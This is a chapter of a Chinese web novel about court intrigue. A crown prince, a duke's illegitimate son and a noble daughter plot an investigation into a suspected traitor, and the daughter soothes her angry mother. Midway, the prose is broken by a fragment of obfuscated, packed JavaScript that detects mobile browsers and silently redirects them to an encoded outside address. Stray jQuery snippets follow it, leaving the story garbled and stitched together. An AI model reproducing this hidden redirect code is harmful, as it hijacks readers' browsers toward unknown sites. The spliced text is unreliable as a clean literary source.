天鹅绒挂帘将外间的喧嚣隔绝了些，几名跳舞跳得有些累了的女宾坐在雕花扶手椅上休息，与一旁没有找到舞伴的贵族青年闲聊着。


    见埃德蒙进来，宾客们连忙行礼，殿下摆了摆手，几人便也识趣地退到较远的角落去。


    尽管如此，小会客厅并不是一个全然封闭的私密空间，自然也无法挡住好奇的目光。


    埃德蒙王储殿下，布莱克家的私生子，兰卡罗德家的大小姐，经过刚才舞会上那一出好戏，谁不想知道他们在谈论些什么？


    “你这么做，会把艾莉森推向风口浪尖。”埃德蒙紫水晶般的眸子里难得地带上了一丝怒气。


    卡西恩瞥了眼正对着他们窃窃私语的贵族们，用脚趾头也能猜到他们在议论些什么。


    无非是说他胆大妄为，行为失当，以及……


    明明始作俑者是他，但更多的，恐怕是在指责艾莉森不知检点吧。


    作为王储殿下的未婚妻，却和自己这个布莱克家的私生子有说不清道不明的关系。


    他当然知道那些贵族们的劣根性，但他还是那么做了——


    制造意外操控局势，向来是他的长项。


    “风口浪尖？”卡西恩冷笑：“殿下如果真担心这点，就不该派她去调查那件事——兰卡罗德小姐迟早会成为靶子，今天不过是预演。”


    卡西恩看向艾莉森，她的胸膛在礼服下微微起伏着，像是还没有从刚才的舞曲中平复下来，脸孔藏在折扇后面，让人看不清神色。


    会想起她方才讶异的表情，卡西恩的心情莫名愉悦，于是他故意凑近一步，站在艾莉森身边，忽略掉埃德蒙殿下微微皱起的眉，偏头问道：“大小姐，你怎么想？”


    艾莉森思索着。


    她了解此人的恶劣兴趣。


    撩拨也好，暧昧也罢，他喜欢半真半假的表演，更乐意在欣赏猎物被他骗得团团转的时候，补上致命一击。


    “我不介意当你的挡箭牌，卡西恩。”


    艾莉森不着痕迹地拉开了和他的距离，好像她正在说的，是一件完全和自己无关的的事一样。


    “但你总得让我知道，我挡的东西是什么。这样才公平，不是吗？”


    卡西恩挑了挑眉，正要开口，却被埃德蒙打断：


    “艾莉森，这不合适。你不知道……”埃德蒙不赞同的话说一半，却停了下来，抬眸看向那个布莱克家族的少年，猛然意识到了什么。


    “殿下，没什么不合适的。”卡西恩冷笑道，“毕竟兰卡罗德小姐和我都乐意为您效劳。”


    埃德蒙看着卡西恩，他意识到，自己被眼前这个人算计了，卡西恩从一开始，就打算拉艾莉森下水。


    王子握紧了拳头，又松开来，半晌，他叹口气，对艾莉森道：


    “你应该猜到了吧。”


    艾莉森点了点头。


    卡西恩言语里的暗示，为什么他会出现在肥猫酒馆，为什么今天是他和布莱克公爵来这里，甚至更早的——


    那场牌局。


    在她看不见的地方，埃德蒙殿下也与卡西恩达成了某种合作。


    和失踪案有关吗？还是和布莱克家族有关？


    “殿下不必忧虑。”艾莉森回答道，“是我自己决定参与其中。当然，如果能对殿下有所帮助，则更好不过，前提是，你们不能再对我有所隐瞒。”


    埃德蒙见她心意已决，瞥了眼不远处的宾客，压低嗓音，道：“是布莱克公爵。我们怀疑，布莱克公爵和诺森德尔有勾结，但是没有证据。”


    “在‘猫头鹰’失踪的前几天，我跟踪过他。”卡西恩小声道：“最后一个和他接触的人，是卡洛。”


    艾莉森一惊，帝国两大贵族之一和敌国勾结，绝非小事。


    “这件事牵连甚广，找到‘猫头鹰’的下落，会是最关键的一点。”埃德蒙说，随即关心地看向身边的女孩：“艾莉森，接下来的事情，卡西恩会和你一起去。”


    说罢，他不禁苦笑：“我本想找机会告诉你，只是没想到，会以今天这种方式……”


    他看向卡西恩，眼中似有复杂的情绪：“卡西恩，我的未婚妻的安全，便交给你了。”


    卡西恩假装没有听见王子故意加重的“我的未婚妻”几个字，笑道：


    “殿下放心，我会照顾好艾莉森。”


    他故意提高了声音，好让会客厅里一直偷偷关注着这三人的贵族们听见。


    正在这时，凯恩掀开遮挡会客厅入口处的天鹅绒帘子走了进来。


    他走到艾莉森旁边，扫了一眼卡西恩，随即对埃德蒙微微鞠了一躬：


    “殿下，抱歉打扰您，但募捐就要开始了，母亲吩咐，作为东道主，舍妹也应当到场。”


    埃德蒙点了点头，让开一步，笑道：“那便不耽搁兰卡罗德小姐履行职责了。”


    卡西恩没有作声，只是向凯恩颔首致意，但凯恩却像没看见他似的，挽着艾莉森走了。


    刚一离开会客室，凯恩便低声咬牙道：


    “以后我得在家门口立个牌子，写上‘布莱克家和狗不得进入’！”


    虽然知道他只是打个比方，不会真的这么做，艾莉森还是配合地笑了起来：


    “哥，别带狗，狗是无辜的。”


    “……说得没错。”凯恩舒了口气，像是要把胸中的郁气排出似的，他停下脚步，目光灼灼地看着艾莉森：


    “艾莉森，我无权过问你的交际，但是那种不顾你立场的家伙，还是少来往为妙。”


    他恨恨地看了一眼会客室，“这下可好，这些无所事事的家伙又有谈资了。”


    “父亲和母亲怎么说？”


    艾莉森苦笑，她的名声也不是第一天差了，父亲恐怕早就习惯，但母亲……


    “父亲没说什么，”凯恩耸耸肩，“不过我看他眼神，大概已经在预演下一次议会，要和布莱克公爵再战八百回合了；至于母亲，”凯恩苦恼地抓了抓头发，无可奈何地说：“她刚刚去休息室躺着了，还按着额头，一个劲说要回南方。”


    凯恩顿了一顿，满怀同情地看向艾莉森：“所以说，你最好想好该怎么跟母亲大人解释——她让你过去。”


    他轻拍艾莉森的肩膀，道：“听哥哥一劝，别跟她硬碰硬。”


    艾莉森抬头望天。


    卡西恩，都怪你。


    果不其然，等着她的是维罗妮卡一阵劈头盖脸的指责，诸如“你怎么会结交那种粗俗的人？”，“天哪，埃德蒙殿下会怎么想”，“你还嫌自己在王都丢人丢得不够吗”，但这次，艾莉森学乖了，她低头乖乖挨训，末了，从侍女手中接过红茶，递到母亲的手上，等她念叨够了，气也消得差不多了，才“有技巧的”开口道：


    “母亲，我今天做错了。”


    来自凯恩.兰卡罗德的著作《哄母亲消气：一百个小技巧》的第一句：“不管你有没有错，先认错。”


    维罗妮卡抿了口红茶，转头不看她。


    “让母亲为我费心了，如果您允许的话，这次捐款名册的整理，请让女儿为您代劳。“


    第二句：“表达你对她辛劳付出的体贴，并提出解决方案。”


    维罗妮卡“哼”了一声，冷冷道：“跟凯恩学的？”


    “怎么会呢？母亲，我是真心想要弥补——您身体不好，之后的矿区慰问，女儿也愿意替您分忧。那里环境恶劣，怎能让您亲自去呢？”


    第三句：“眼神和语气一定要真诚，表达替她分忧解难的热情——还有别说是我教你的。”


    “算了。”维罗妮卡皱着眉，放下茶杯，“跟你生气也没用，等下还要主持募捐，这事你父亲从来都不管。”


    “是啊，母亲若不回来，家里许多事都做不下去。”


    终极绝杀：表达这个家里没母亲不行。


    不得不说，凯恩传授的技巧是真的有用，一套丝滑连招下来，维罗妮卡冷若冰霜的神情，总算是松动了些。


    艾莉森暗自松了口气，但她没想到的是，真正让她头疼的事还在后面。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288136|166597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“兰卡罗德夫人，犬子从前体弱，少在社交界露面，这次是他冒犯艾莉森小姐。”布莱克公爵满怀歉意地说，语气不可谓不诚恳。


    恢复过来的维罗妮卡脸上挂着堪称贵妇典范的笑容，以扇掩唇：“公爵大人，您这说的是哪里话。”


    毕竟在慈善拍卖上，布莱克公爵捐出了一笔让所有人都惊讶的巨款。


    这场舞会，让人意外的事情实在太多了。


    贵族们议论纷纷，各自揣测着：


    不是说布莱克家和兰卡罗德家是死对头吗？如今布莱克公爵这么大方，看来是要与兰卡罗德公爵言和？


    听说这位次子最近颇受公爵大人看重，大有压倒长子的风头——公爵大人莫非是看见他对兰卡罗德家小姐有意，想要为他在此争取？


    争取什么，没见到埃德蒙殿下对那位小姐的眼神吗？布莱克家再大胆，也不敢和皇室抢人。


    “尊敬的夫人，可否让犬子也在此后的矿区慰问中出一份力，他还有许多可以学习的东西，也当做是为今天的事情赔罪。”


    布莱克公爵此言一出，莫说是维罗妮卡愣住，连始终不发一语的兰卡罗德公爵，也皱起了眉头。


    “布莱克大人，矿区的事，向来是兰卡罗德家在管理。”兰卡罗德公爵上前一步，语气冰冷。


    “威廉，不用如此咄咄逼人，”布莱克公爵笑得十分温和，“只是想让年轻人多一些学习的机会，“至于那肮脏的魔晶石——恕我直言，我一向避之不及。”


    “呵，洁白无暇的布莱克家。”威廉公爵冷笑道。


    “威廉，我们两个老家伙在议会上斗得还不够吗？孩子们的事情，没必要吧？更何况，我今天的诚意，总不至于没人看见。”


    他转向身后，看向一脸恭敬的卡西恩，道：“卡西恩，想必你也想为舞会上的无礼向艾莉森小姐致歉？”


    卡西恩行礼道：“兰卡罗德大人，艾莉森小姐，请给我一个为今日鲁莽之举弥补的机会。”


    威廉公爵的目光落在这个布莱克家的年轻人身上，这是他第一次见到卡西恩，但只一眼，他便知道他是里奥.布莱克的骨血。


    比起卡洛，他和年轻时的布莱克公爵更加相似，并不是外表——而是那种看似无害，却将所有的野心和欲望藏于眼中的矛盾气质。


    里奥这个老狐狸，他说对魔晶石没有兴趣，那又为什么要在此时将他推出来接近艾莉森，而不是他公认的继承人卡洛？


    布莱克家的举动过于反常，他必须提防——而最好的提防，便是将这个不知从何处冒出来的“布莱克次子”，置于阳光之下——


    这样才能看清他的影子。


    公爵正要点头，维罗妮卡却“啪”地合上了折扇，冷声道：


    “弥补？布莱克公子，你今日的行为，足以让贵族沙龙讨论整整三个月，你若真想弥补，就该离艾莉森远远的，而不是和她一起去！”


    没人料到她突然发难，布莱克公爵皱了皱眉头，皮笑肉不笑地说：“兰卡罗德夫人，这话说得有些过了。”


    “布莱克大人，我不会同意这件事。”


    维罗妮卡看着他，丝毫没有退却的意思，一旁的威廉公爵向她使眼色，她也全当没看见。


    艾莉森在旁暗自着急，母亲并不知道自己与埃德蒙，还有卡西恩之间的复杂关系，更不知道和卡西恩一同前往矿区，本就是在殿下示意下的一场局。


    她只是站在自己的立场，想要保护女儿的名声。


    “兰卡罗德夫人，”正在双方僵持不下的时候，一直在旁观的埃德蒙却开口了：“既然是布莱克家的善意，您也不必太过忧虑，不论是卡西恩，还是艾莉森，都和我有同学之谊，今天的事不过是寻常的玩闹而已。只要他们二位不介意，我也不是心胸狭隘的人。”


    他走上前来，含笑的眸子落在艾莉森身上，轻轻牵起她的手：


    “无论艾莉森与谁同行，她都是我最合适的王妃人选。”


    艾莉森的手指动了动，却被他紧紧握住。